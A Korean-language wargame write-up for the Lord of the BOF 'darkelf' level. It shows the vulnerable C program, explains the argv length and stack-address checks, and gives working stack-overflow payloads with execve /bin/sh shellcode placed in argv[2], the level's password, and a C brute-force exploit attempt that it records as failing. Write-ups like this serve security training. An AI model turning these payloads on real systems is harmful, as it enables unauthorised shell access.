login as : wolfman
password : love eyuna
문제 확인
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
이번 문제도 이전 문제들과 비슷하지만 한 가지 조건이 더 추가됐다.
조건1. 커맨드라인 인자가 있어야 한다.
조건2. 환경 변수는 사용할 수 없다.
조건3. 커맨드라인 인자의 48번째 byte의 값이 '\xbf'여야 하므로 0xbfxxxxxx의 형태여야 하고 이는 스택의 주소이므로 RET 부분에 스택 어딘가의 주소를 덮어써야 한다.
조건4. argv[1]의 길이가 48byte를 넘으면 안된다.
조건5. 커맨드라인 인자를 buffer에 복사하지만, 내용을 출력하고 나서는 buffer 안에 있는 40byte만큼의 값을 0으로 초기화 한다.
이번 문제에서는 argv[1]의 길이가 48byte를 넘으면 안된다는 조건이 생겼다.
이는 커맨드라인 인자에서 첫 번째 인자의 길이가 48byte를 넘으면 안된다는 것이고, 그렇다면 "NOP + RET + NOP + shellcode"와 같은 형태의 payload를 사용할 수 없다는 것이다.
하지만 이전 레벨에서도 나왔던 argv[2]의 주소를 이용하는 payload로 문제를 풀면 된다.
dummy 값 확인
gdb로 darkelf 파일을 열어 디스어셈블 해보면 지역 변수를 위한 스택 공간을 44byte만큼 할당하는 것으로 보아 dummy 값은 없다.
공격
cp darkelf darkelf2
gdb -q darkelf2
set disassembly-flavor intel
b * main
r `python -c 'print "\x90" * 44 + "\xbf\xbf\xbf\xbf"'` `python -c 'print "\x90" * 10 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
darkelf 파일을 darkelf2로 복사한 후 darkelf2 파일을 gdb로 연다.
0x0848500 주소에 bp를 걸고 커맨드라인 인자 2개를 넘기며 실행한다.
그러면 아직 SFP가 생성되지 않았고, 지역 변수를 위한 스택 공간 역시 할당되지 않은 상태이다.
이 상태에서 스택을 보면 위와 같다.
0xbffffc6c 주소부터 차례대로 RET, argc, argv가 있다.
그리고 0xbffffdb1, 0xbffffdc8, 0xbffffdf9 주소는 차례대로 argv[0], argv[1], argv[2]의 주소이다.
./darkelf `python -c 'print "\x90" * 44 + "\xf9\xfd\xff\xbf"'` `python -c 'print "\x90" * 20 + "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
darkelf 계정의 password는 kernel crashed이다.
주변 스택 주소를 기준점으로 하여 offset 값을 빼 공격(공격 실패)
/*
The Lord of the BOF : The Fellowship of the BOF
- darkelf
- egghunter + buffer hunter + check length of argv[1]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
printf("buffer[40] of darkelf2 : %p\n", buffer);
printf("argv[2] of darkelf2 : %p\n", argv[2]);
printf("&argv of darkelf2 : %p\n", &argv);
printf("&argv[0] of darkelf2 : %p\n", &argv[0]);
printf("&argv[1] of darkelf2 : %p\n", &argv[1]);
printf("&argv[2] of darkelf2 : %p\n", &argv[2]);
printf("argv[0] of darkelf2 : %p, %s\n", argv[0], argv[0]);
printf("argv[1] of darkelf2 : %p, %s\n", argv[1], argv[1]);
printf("argv[2] of darkelf2 : %p, %s\n", argv[2], argv[2]);
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
gcc -o darkelf2 darkelf2.c
darkelf2.c 파일을 위와 같이 수정한 후 darkelf2로 컴파일해준다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
int main(int argc, char **argv)
{
unsigned int i, ret, offset=8;
char *command, *buffer;
command = (char*)malloc(100);
memset(command, 0, 100);
strcpy(command, "./darkelf2 \'");
buffer = command + strlen(command);
if(argc > 1)
offset = atoi(argv[1]);
printf("i of exploit : %p\n", &i);
ret = (unsigned int)&i + offset;
printf("offset : %d\n", offset);
printf("ret : %p\n", ret);
for(i = 0; i < 48; i += 4)
*((unsigned int*)(buffer+i)) = ret;
strcat(buffer + 48, "\' \'");
memset(buffer + 48 + strlen("\' \'"), 0x90, 16);
memcpy(buffer+64+strlen("\' \'"), shellcode, strlen(shellcode));
strcat(command, "\'");
printf("command len : %d\n", strlen(command));
system(command);
free(command);
return 0;
}
gcc -o exploit exploit.c
위의 공격 코드를 컴파일하여 실행하면 위와 같이 공격 payload가 구성된다.
낮은 주소 |
i |
buffer[40] |
SFP |
RET |
argc |
argv |
env |
buffer |
command |
offset |
ret |
i |
SFP |
RET |
argc |
argv |
env |
높은 주소 |
그리고 스택은 위와 같을 것이다.
하지만 실행 결과를 보면 위와 같이 공격에 실패한다.
위의 사진을 참고하면 exploit.c의 변수 i의 주소가 darkelf2의 argv[2]의 주소보다 작은 주소 쪽에 가깝게 있다.
낮은 주소 | |
buffer[40] of darkelf | 0xbffffc50 |
i of exploit | 0xbffffcc4 |
&argv[2] of darkelf | 0xbffffccc |
&argv[2] of exploit | |
높은 주소 |
즉, 위와 같은 구성이다.
for i in `seq 0 100`; do echo Trying $i; ./exploit $i; done
위의 스크립트를 돌리면 특정 숫자에서 셸 자체가 먹통이 되어버리고 공격에 여전히 실패한다.